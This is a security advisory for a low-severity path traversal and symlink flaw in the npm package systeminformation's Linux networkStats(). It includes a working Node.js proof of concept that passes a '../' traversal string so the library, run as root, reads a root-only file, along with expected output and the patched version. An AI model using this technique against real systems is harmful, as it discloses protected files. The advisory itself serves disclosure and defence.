---
id: CVE-2026-116673
aliases:
  - GHSA-4vjg-vx72-qq4g
title: >-
  systeminformation has path traversal in Linux networkStats() that allows
  symlink-based file disclosure outside /sys/class/net
summary: >-
  systeminformation has path traversal in Linux networkStats() that allows
  symlink-based file disclosure outside /sys/class/net
severity: low
cvss: 3.3
cwe:
  - CWE-22
  - CWE-59
vendor: systeminformation
product: systeminformation
ecosystem: npm
affected:
  - systeminformation < 5.33.14
patched:
  - systeminformation 5.33.14
published: '2026-10-28'
updated: '2026-10-28'
sourceUpdated: '2026-10-28T21:13:51Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-4vjg-vx72-qq4g'
references:
  - url: >-
      https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-116673'
  - url: >-
      https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd
  - url: 'https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14'
  - url: 'https://github.com/advisories/GHSA-4vjg-vx72-qq4g'
tags:
  - ghsa
  - npm
  - cve.org
ssvc:
  exploitation: none
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-28T14:34:17.124091Z'
epss: 0.00127
epssPercentile: 0.02364
ingestedAt: '2026-10-27T17:33:23.798Z'
---

## Overview

### Summary

On Linux, `systeminformation@5.33.13` builds `/sys/class/net/<iface>` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

### Details

The strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.

### PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

```sh
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13
```

Save the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:

```js
'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
```

Expected result:

```json
{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
```

### Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

## Affected packages

- `systeminformation < 5.33.14`

## Remediation

Upgrade to a patched release:

- `systeminformation 5.33.14`
